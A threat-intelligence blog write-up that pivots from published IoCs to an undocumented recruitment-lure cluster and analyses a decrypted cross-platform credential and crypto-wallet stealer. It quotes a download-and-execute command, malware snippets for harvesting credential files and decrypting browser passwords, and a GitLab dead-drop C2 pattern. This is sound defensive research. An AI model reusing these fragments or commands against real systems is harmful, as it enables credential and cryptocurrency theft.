Hunting UNK_DeadDrop - Uncovering the Foxtopia Stealer Through Passive DNS Pivoting

So I was at work one day going over our internal CTI based on IoCs we’ve collected from incidents, and reviewing those against some public write ups, as we know DPRK intrusion sets like Dangerous Password or Contagious Interview tend to target many individuals with the same lures. While doing this, I came across a write up from Proofpoint covering a likely North Korean actor conducting phishing campaigns using developer role recruitment lures (how very like DPRK). Proofpoint themselves cluster the activity under UNK_DeadDrop.

Proofpoint’s report detailed a campaign sending over 250 phishing emails to nearly 100 organisations across finance, cryptocurrency and technology sectors, using fake developer recruitment lures to deliver cross-platform malware capable of stealing credentials and cryptocurrency wallets.

I decided to grab all of the IoCs from Proofpoints blog to enrich and hunt for other infrastructure and malware not currently identified. In this writeup, I’ll walk through the process and methodology I used to pivot across IoCs to uncover a sophisticated cryptocurrency stealer.

Evaluating the Known IoCs

The first task here was to review the IoCs, of which there were many, but I’ll draw your attention to the below, which I’ll call the “anchor IPs”:

• 23.137.105[.]75
• 170.205.30[.]227

Both IPs were queried against VirusTotal’s passive DNS replication, which surfaces domains that have historically resolved to a given IP address. This technique is particularly useful when investigating threat actors that reuse infrastructure across campaigns, a domain registered for one operation may later point to the same IP used in another, or siblings registered under the same pattern may surface undocumented lure infrastructure.

23.137.105[.]75

VirusTotal returned 20/91 detections on this IP, hosted on AS22295 (Advin Services LLC), a provider with a well-documented history of hosting malicious infrastructure. Passive DNS returned 49 resolutions, the majority of which were not present in the Proofpoint report.

Notable undocumented domains included:

• aavcareer[.]ink — a fabricated recruitment brand with multiple subdomains
• apexsyshire[.]ink, surgecareer[.]ink, geetebot[.]ink — additional fake company lures
• joincategory[.]xyz — potential recruitment lure
• dcsufo[.]xyz, discufo[.]xyz, dscufo[.]xyz — multiple typo variants of the same fake brand, suggesting the actor registers permutations defensively as domains can get flagged and blocked, particualrly if nosey threat researchers stick their beaks in.

170.205.30[.]227

The second IP returned 33 passive DNS resolutions, again surfacing domains not present in the original Proofpoint IOC list. Of particular interest were several domains suggesting the actor is experimenting with AI-themed lures alongside the standard recruitment theme:

• claude-detect[.]online — impersonating an AI detection tool
• facedetect[.]ink — likely a deepfake detection lure, consistent with the campaign’s deepfake_guard_run.sh sample
• apply.ergonia-labs[.]work — an additional undocumented fake company brand
• aitoonforge[.]space, pumploki[.]space — further undocumented lure domains
• diobenu2silva[.]com — a Brazilian-name domain of interest given the contractor attribution in related reporting

Several domains were found resolving to both IPs, notably aavcareer[.]ink, www.nemesistrade[.]work and dscufo[.]xyz; confirming that both IPs are part of the same shared infrastructure cluster rather than separate operations.

Maltego graph showing aavcareer[.]ink resolving to both known C2 IPs, with further domains expanding from 23.137.105[.]75. Cloudflare CDN nodes (104.21.27.216, 172.67.169.196) are visible but represent front-end infrastructure rather than actor-controlled hosting

Visualisation

While much of the information can be found by trawling VirusTotal, Shodan, and Censys seperatly, its much easier to use APIs to pull that information then use a tool like Maltego to visualise the relationships between information obtained from different sources.

Starting with the two known C2 IPs as anchor nodes, I ran DNS resolutioon transforms in Maltego (you could also find these in VirusTotal itself), surfacing the domain clusters detailed in the previous section. aavcareer[.]ink immediately stood out, resolving to both IPs and representing an undocumented fake recruitment brand not present in the Proofpoint report.

aavcareer[.]ink resolving to both anchor C2 IPs, with the malware delivery chain visible on the left and the wider domain cluster expanding from both IPs on the right.

Running sibling transforms on aavcareer[.]ink surfaced two additional subdomains — api.aavcareer[.]ink and hiring.aavcareer[.]ink. Investigation of api.aavcareer[.]ink via URLScan.io revealed it was not a phishing page but an active malware delivery endpoint.

Malware Delivery

Investigation of api.aavcareer[.]ink via URLScan.io revealed three scans against the subdomain, two of which immediately stood out.

URLScan.io results for api.aavcareer[.]ink showing three scans — one retrieving install_guard_d.js and two containing a URL-encoded command injection pattern.

Two of the three results contained a notable URL-encoded command injection pattern which when decoded reads:

upd_m -o /var/tmp/upd_m&&bash /var/tmp/upd_m

This reveals a curl/wget command downloading a file named upd_m to the macOS /var/tmp/ staging directory and immediately executing it with bash. The use of /var/tmp/ stood out — unlike /tmp/, this directory persists across reboots, giving the actor persistence without requiring additional mechanisms.

Further investigation of api.aavcareer[.]ink on VirusTotal revealed a broader toolkit than initially apparent. Communicating files included deepfake_guard_run.sh (shell script), install_guard_decrypted.js and malware.js (JavaScript payloads), and notably upd_w — a VBA file suggesting a potential Office macro delivery vector alongside the shell script and JavaScript chains. JSON configuration files dating to June 12th 2026 were also present,predating the campaign’s active period per Proofpoints writeup, suggesting there was a recorded infrastructure setup phase.

VirusTotal results show a number of communicating files associated with malware.

The third URLScan result retrieved install_guard_d.js, a 228KB JavaScript file which upon inspection contained the loader detailed in the following section. Since for this investigation I’m using VirusTotal community, and not the enterprise edition, we can’t download the malware or do any meaingful investigation, so we can use URLScan instead. Below is the search result for api.aavcareer[.]ink. You’ll notice its fronted by Cloudflare on a Cloudflare IP of 104.21.27.216

Expanded search result for api.aavcareer

And here is the IP transform from the api.aavcareer[.]ink domain

IP transforms from api.aavcareer domain

Luckily for us, the screenshot was quite telling, and the DOM tree page was also quite telling

DOM tree for api.aavcareer

The DOM tree specifically contains the install_guard_d.js script. The script itself is a Node.js loader making use of several core modules:

const _0x2 = require("crypto")        // cryptographic operations
const _0x3 = require("child_process") // execute system commands  
const _0x4 = require("path")          // file system path handling
const _0x5 = require("fs")            // file system access

The loader performs the following operations in sequence:

1. Loads a hardcoded 32-byte AES-256-GCM decryption key from hex
2. Loads a large base64-encoded encrypted blob as the second stage payload
3. Extracts the IV (first 12 bytes) and authentication tag (bytes 12-28) from the blob
4. Decrypts the payload in memory using AES-256-GCM
5. Executes the decrypted code directly in memory via module.constructor._compile — the decrypted payload never touches disk
6. On exit, calls unlinkSync — decoded from String.fromCharCode(117,110,108,105,110,107,83,121,110,99) — deleting the loader file itself to hinder forensic recovery

The use of AES-256-GCM with in-memory execution and self-deletion represents a deliberate attempt to evade both static and dynamic analysis. The encrypted payload is meaningless without the hardcoded key, and the loader removes itself after execution leaving minimal forensic artefacts on disk.

While the decryption process can be done in CyberChef by following the logic of install_guard_d.js, having it done with Python seemed to work much easier. Full disclosure, AI helped me write this script and tune it to get it correct.

#!/usr/bin/env python3

import base64
from pathlib import Path

from cryptography.hazmat.primitives.ciphers.aead import AESGCM


KEY_HEX = (
    "8b3f1a7c4e2d6f90a1c5b8d2e7f3460"
    "96d9e2a8b1c5f7034e3d7a4b9c8f21065"
)

PAYLOAD_BASE64 = """
U35izTshiZALH5vjnXCJ4DMC4L4CbWuYFSfs15s7i27z4b64f95k9bCbMY5fHg+ [...cut for brevity...]
"""

def main() -> None:
    key = bytes.fromhex(KEY_HEX)

    if len(key) != 32:
        raise ValueError(
            f"Expected a 32-byte AES-256 key, got {len(key)} bytes"
        )

    cleaned_base64 = "".join(PAYLOAD_BASE64.split())
    blob = base64.b64decode(cleaned_base64, validate=True)

    if len(blob) <= 28:
        raise ValueError(
            f"Payload is only {len(blob)} bytes; expected more than 28"
        )

    iv = blob[:12]
    tag = blob[12:28]
    ciphertext = blob[28:]

    print(f"[+] Blob length: {len(blob)} bytes")
    print(f"[+] IV: {iv.hex()}")
    print(f"[+] Authentication tag: {tag.hex()}")
    print(f"[+] Ciphertext length: {len(ciphertext)} bytes")

    # Python's AESGCM expects ciphertext followed by the authentication tag.
    plaintext = AESGCM(key).decrypt(
        iv,
        ciphertext + tag,
        None,
    )

    output_path = Path("decrypted-stage.js")
    output_path.write_bytes(plaintext)

    print(f"[+] Wrote {len(plaintext)} bytes to {output_path}")
    print("[+] The decrypted JavaScript was not executed.")


if __name__ == "__main__":
    main()

The script itself does four things:

1. Extract the key The hardcoded hex string from the loader is converted to raw bytes — this is the AES-256-GCM decryption key the actor embedded directly in the JavaScript.

2. Decode the payload The base64 blob from the loader is decoded to raw bytes, giving us the full encrypted package.

3. Split out the components Following the structure defined in the loader code (_0xi = _0xp.subarray(0,12), _0xt = _0xp.subarray(12,28), _0xc = _0xp.subarray(28)):

• First 12 bytes = IV
• Next 16 bytes = GCM authentication tag
• Remainder = ciphertext

1. Decrypt and write to disk AESGCM(key).decrypt(iv, ciphertext + tag, None) decrypts the payload. The None parameter means no additional authenticated data was used. The plaintext is written to decrypted-stage.js.

The key insight here is that the loader’s own subarray logic told me exactly how to split the blob, and that allowed me to guide the AI in terms of making a working script.

Malware Analysis — Overlord/Foxtopia

Static analysis of the decrypted second stage (decrypted-stage.js) revealed a sophisticated cross-platform credential and cryptocurrency wallet stealer. The presence of environment variables OVERLORD_SERVER, OVERLORD_KEEP_AGENT_STATE, OVERLORD_WIN_BUILD_EP and OVERLORD_MARK_COMPLETE_URL throughout the code confirms this is an implementation of the Overlord framework referenced in the Proofpoint report, here delivered as a JavaScript second stage rather than the Go binaries previously documented.

The malware operates across three distinct phases.

Phase 1 — Pre-Login Data Harvesting

The first phase runs immediately on execution, collecting high-value files before any user interaction is required.

const PAT_EXTENSIONS = new Set([".txt", ".json", ".csv", ".env", ".plist"]);

{ rel: ["ssh"],   disk: path.join(h, ".ssh"),   tree: true },
{ rel: ["aws"],   disk: path.join(h, ".aws"),   tree: true },
{ rel: ["azure"], disk: path.join(h, ".azure"), tree: true },
{ rel: ["cargo"], disk: path.join(h, ".cargo"), tree: true },
{ rel: ["hardhat.config.ts"], disk: path.join(h, "hardhat.config.ts") },
{ rel: ["gcloud"], disk: path.join(h, ".config", "gcloud"), tree: true },
{ rel: ["bash_history"], disk: path.join(h, ".bash_history") },
{ rel: ["zsh_history"], disk: path.join(h, ".zsh_history") },
{ rel: ["env_root"], disk: path.join(h, ".env") },

Targets include SSH keys, AWS and Azure credentials, Google Cloud configuration, shell history, .env files and notably hardhat.config.ts — a configuration file specific to the Hardhat Ethereum development framework, confirming the actor’s deliberate targeting of cryptocurrency developers. The phase 1 archive is uploaded to the C2 before any password prompt is shown to the victim.

Phase 2 — Browser Credential Extraction

The second phase runs after phase 1 completes. On macOS and Linux, the malware first prompts the user for their system password before proceeding.

promptedPassword = await collectPromptedPassword();
phase2Ok = await runPhase2Pipeline(base, stem, promptedPassword)

Using the collected password, the malware decrypts browser credential stores across Chrome, Edge and Brave on all platforms, extracting saved passwords and cookies. On macOS this uses the Keychain-derived encryption key, on Windows the DPAPI master key, and on Linux PBKDF2-derived keys: full cross-platform coverage.

const wrappingKey = crypto.pbkdf2Sync(safeStoragePassword, "saltysalt", iterations, 16, "sha1");
const decipher = crypto.createDecipheriv("aes-128-cbc", wrappingKey, iv);

Cryptocurrency Wallet Targeting

The malware maintains an explicit list of cryptocurrency wallet applications and data directories targeted across all three platforms:

// Windows & macOS wallet applications
for (const name of ["Exodus","atomic","Guarda","Electrum","Sparrow","Coinomi",
  "com.liberty.jaxx","WalletWasabi","Armory","Bitcoin","Litecoin","Monero",
  "Zcash","Ledger Live","Zelcash","Daedalus Mainnet","@trezor/suite-desktop","bitbox"]) 

// Linux & macOS wallet data directories  
for (const name of [".bitcoin",".litecoin",".dogecoin",".zcash",".ethereum",
  ".elements",".lnd",".lightning",".config/solana",".near-credentials",
  ".sui/sui_config",".foundry",".bitmonero"])

Over 30 distinct wallet applications and data directories are targeted across Windows, macOS and Linux, covering the majority of commonly used cryptocurrency storage solutions including hardware wallet companion apps (Ledger Live, Trezor Suite) and developer-focused chains (Solana, NEAR, Sui, Foundry).

Phase 3 — Persistence

On macOS, the malware installs a LaunchDaemon to establish root-level persistence, surviving reboots and running independently of the user session.

if (PLATFORM === "darwin" && !_darwinAgentHandoffStarted && promptedPassword) {
  await launchDarwinAgentAsRoot(base, promptedPassword);
}

C2 Communication — GitLab Dead Drop

Rather than hardcoding a C2 address, the malware uses GitLab as a dead drop to retrieve the current C2 server URL dynamically:

const DEAD_DROP_URL = "https://gitlab.com/drop-indexing/tasks/-/raw/main/config.json";
const FALLBACK_URLS = ["wss://api.domatisc.ink"];
const MARK_COMPLETE_URL = "https://api.aavcareer.ink/mark-complete";

On execution the malware fetches config.json from the GitLab repository drop-indexing/tasks, authored by the actor persona Oura Kano. If the dead drop is unreachable, it falls back to wss://api.domatisc.ink. Once exfiltration is complete, it signals the operator via https://api.aavcareer[.]ink/mark-complete.

This technique allows the actor to rotate C2 infrastructure without pushing new malware; infected machines will automatically connect to whatever domain the actor has listed in the config at time of execution.

Anti-Forensics

On completion, the malware performs thorough cleanup:

// Windows — removes Python embeds injected into browser directories
const embedFiles = ["python.exe","pythonw.exe","python3.dll","python312.dll"...]
for (const bn of ["chrome","edge","brave"]) nukeEmbed(winBrowserAppDir(bn));

// All platforms — removes agent state, log files and temporary files
fs.rmSync(gDir, { recursive: true, force: true });
fs.unlinkSync(LOG_FILE);

Python components injected into browser directories during credential extraction are removed, log files are deleted, and all agent state is cleaned up, leaving minimal forensic artefacts on the victim machine.

Pivoting on the new IoCs

The malware yielded several hardcoded IoCs:

• wss://api.domatisc[.]ink — hardcoded fallback C2 WebSocket server
• https://api.aavcareer[.]ink/mark-complete — exfiltration completion endpoint
• https://gitlab.com/drop-indexing/tasks/-/raw/main/config.json — GitLab dead drop

GitLab Dead Drop — drop-indexing/tasks

The GitLab repository gitlab.com/drop-indexing/tasks, authored by actor persona Oura Kano, was found to be live and actively maintained at time of investigation — with config.json having been edited within 5 hours of my discovery.

GitLab dead drop

The repository contains two configuration files. config.json contained the current active C2 server at time of investigation:

[
  "api.chestsoi.ink"
]

config-alt.json revealed two previous C2 domains, indicating the actor had already rotated infrastructure at least once:

[
  "api.onoplainai.ink",
  "api.migadyn.info"
]

config.json showing the current active C2 domain at time of investigation.

This gives us four additional C2 domains to investigate:

• api.chestsoi[.]ink — current active C2
• api.onoplainai[.]ink — previous C2
• api.migadyn[.]info — previous C2
• api.domatisc[.]ink — hardcoded fallback

So the graph breaking down the malware element of the IoC chain looks like this:

Malware IoC Chain

Investigating the C2 Domains

Investigation of the four C2 domains followed the same passive DNS methodology used throughout this research. The majority resolved exclusively through Cloudflare, consistent with the actor’s pattern of masking origin servers behind CDN infrastructure. However several findings were notable.

api.domatisc.ink

The hardcoded fallback C2 api.domatisc.ink proved the most productive pivot. VirusTotal passive DNS showed a resolution to 170.205.30.227 on May 26 2026; one of the two anchor C2 IPs that we started with. The parent domain domatisc.ink carried 17/91 detections and showed install_guard_decrypted.js and malware.js as communicating files, the same samples seen on api.aavcareer.ink. This conclusively ties the hardcoded fallback C2 to the currently known campaign infrastructure.

Oura Kano — Actor Persona

Investigation of the GitLab account operating the dead drop surfaced a freelancer profile for Oura Kano on cryptotask.org: a legitimate cryptocurrency freelancing platform. The profile presents as a blockchain developer based in Tokyo with 8+ years of software experience, consistent with documented DPRK IT worker persona building targeting cryptocurrency organisations. We can’t attrbiute for certain, but the conincidence is considerable

Oura Kano freelancer profile on cryptotask.org — actor persona that could potentially be linked to the GitLab dead drop operator.

diobenu2silva.com

The domain diobenu2silva.com first surfaced as a passive DNS entry on 170.205.30.227 proved to be active campaign infrastructure. Its subdomains holdapi.diobenu2silva.com and hold.diobenu2silva.com both resolve to 23.137.105.75, bridging both anchor C2 IPs through a single domain. It was found communicating with multiple shell script samples and carries 12/91 detections; confirming it as a previously undocumented staging or exfiltration domain within the campaign infrastructure.

deep-ai-detect.xyz

Investigation of deep-ai-detect.xyz confirmed it as part of a distinct AI-themed lure sub-campaign running alongside the recruitment lures. Communicating files included check_bot_w — the Windows equivalent of the macOS check_bot_m lure observed on nodit.org — alongside two highly detected shell scripts consistent with other samples in this investigation. The domain joins claude-detect.online and facedetect.ink as part of a deliberate pattern of AI and deepfake detection themed lures targeting victims across both macOS and Windows.

Infrastructure Map

The graph below represents the complete infrastructure identified during this investigation, from the known Proofpoint IOCs through to the active C2 infrastructure and actor persona discovered through passive DNS pivoting, malware analysis and open source research.

Complete UNK_DeadDrop infrastructure map: from known Proofpoint IOCs through to active C2 infrastructure and actor persona identified during this investigation.

Conclusion

Starting from two C2 IP addresses published in Proofpoint’s June 2026 UNK_DeadDrop report, passive DNS pivoting uncovered a previously undocumented phishing and malware delivery cluster operating under the fabricated recruitment brand AAVCareer. Investigation of api.aavcareer[.]ink identified an active malware delivery endpoint serving an AES-256-GCM encrypted Node.js loader which, upon decryption, revealed a sophisticated cross-platform credential and cryptocurrency wallet stealer operating under the Overlord framework.

The malware’s hardcoded GitLab dead drop gitlab.com/drop-indexing/tasks was found live and actively maintained by actor persona Oura Kano at time of investigation, with the active C2 api.chestsoi[.]ink identified from the dead drop configuration alongside two previous C2 domains, demonstrating active infrastructure rotation. The (inconclusive) same persona maintains a freelancer profile on cryptotask.org presenting as a blockchain developer, consistent with documented DPRK IT worker schemes targeting the cryptocurrency sector.

UNK_DeadDrop’s consistent use of Cloudflare as a CDN front limits the effectiveness of traditional Shodan banner and JARM fingerprinting for infrastructure hunting. Passive DNS pivoting from known IOCs proved the more productive methodology and is recommended as the primary approach for tracking this actor’s infrastructure going forward.

All indicators identified during this investigation are listed in the IOC table below. Defenders are encouraged to block the listed domains and monitor for the shell script artifacts /var/tmp/upd_m, /var/tmp/deepfake_guard* and /var/tmp/.kdm.* as indicators of potential compromise.

Indicators of Compromise

Domains

Domain	Type	Source	Notes
aavcareer[.]ink	Phishing/Delivery	This research	Undocumented fake recruitment brand
api.aavcareer[.]ink	Malware delivery	This research	Serves install_guard_d.js
hiring.aavcareer[.]ink	Phishing	This research	Recruitment lure subdomain
domatisc[.]ink	C2	This research	17/91 VT detections
api.domatisc[.]ink	C2	This research	Hardcoded fallback WebSocket C2
chestsoi[.]ink	C2	This research	Parent domain
api.chestsoi[.]ink	C2	This research	Active C2 at time of investigation
onoplainai[.]ink	C2	This research	Parent domain, 15/91 VT detections
api.onoplainai[.]ink	C2	This research	Previous C2
migadyn[.]info	C2	This research	Parent domain, 14/91 VT detections
api.migadyn[.]info	C2	This research	Previous C2
diobenu2silva[.]com	Staging	This research	Bridges both anchor C2 IPs, 12/91 detections
holdapi.diobenu2silva[.]com	Staging	This research	Resolves to 23.137.105.75
hold.diobenu2silva[.]com	Staging	This research	Resolves to 23.137.105.75
deep-ai-detect[.]xyz	Phishing	This research	AI detection lure
nodit[.]org	Distribution	This research	Phishing distribution, /check_bot_m endpoint
claude-detect[.]online	Phishing	This research	AI detection lure
facedetect[.]ink	Phishing	This research	Deepfake detection lure
apply.ergonia-labs[.]work	Phishing	This research	Undocumented fake company
apexsyshire[.]ink	Phishing	This research	Live page on 23.137.105.75 — Everforth Apex persona
nemesistrade[.]work	Phishing	Proofpoint	UNK_DeadDrop
trixauvex[.]org	Phishing	Proofpoint	UNK_DeadDrop
pulsynk[.]org	Phishing	Proofpoint	UNK_DeadDrop
predicttogether[.]ink	Phishing	Proofpoint	UNK_DeadDrop
careerpulsynk[.]xyz	Phishing	Proofpoint	UNK_DeadDrop
hxxps://gitlab[.]com/drop-indexing/tasks	C2 & Phishing	UNK_DeadDrop

IP Addresses

IP	Provider	Notes
23.137.105[.]75	Advin Services LLC	Anchor C2 IP — Proofpoint
170.205.30[.]227	Unknown	Anchor C2 IP — Proofpoint

Malware Hashes

Hash	Type	Name	Detections
efb6a449b29883d254bb2b735ac4a1bfa8d1af6e07c469c475c24785faa05a57	JavaScript	install_guard_d.js	—
70ea6e2eaab58bdb83b7b235dd6253ffbcaed5e7df0286cbefd72d7650c3f47a	JavaScript	malware.js (decrypted version of install_guard_d.js)
668f1f03d0b81fcc5ed5a1b21d4d5c406fffc9dc87f353f...	Shell script	realtekmac.sh
d48114cf768076f0234d2550d0ce4650a6caed11c8f04f9843174a898efa9a45	Shell script
8eeec931993815450ef75aab8d2824c30dd8b4f5b5cc3749b68571ee8faf2393	Shell script
1b45f9d89cf03c56afa6ec5cce472e4b36680d792a47f728ee30ef993cf16648	Shell script

Actor Infrastructure

Indicator	Type	Notes
gitlab.com/drop-indexing/tasks	GitLab repository	Live C2 dead drop
Oura Kano	Actor persona	GitLab dead drop operator
cryptotask.org/en/freelancers/oura-kano/20131	Freelancer profile	Fake blockchain developer persona

Hunting Rule

Platform	Query
Shodan	title:"Everforth Apex \| VP — Smart Contract Architect"
Shodan	Server: nginx/1.24.0 (Ubuntu) org:"Advin Services LLC" "X-Content-Type-Options: nosniff"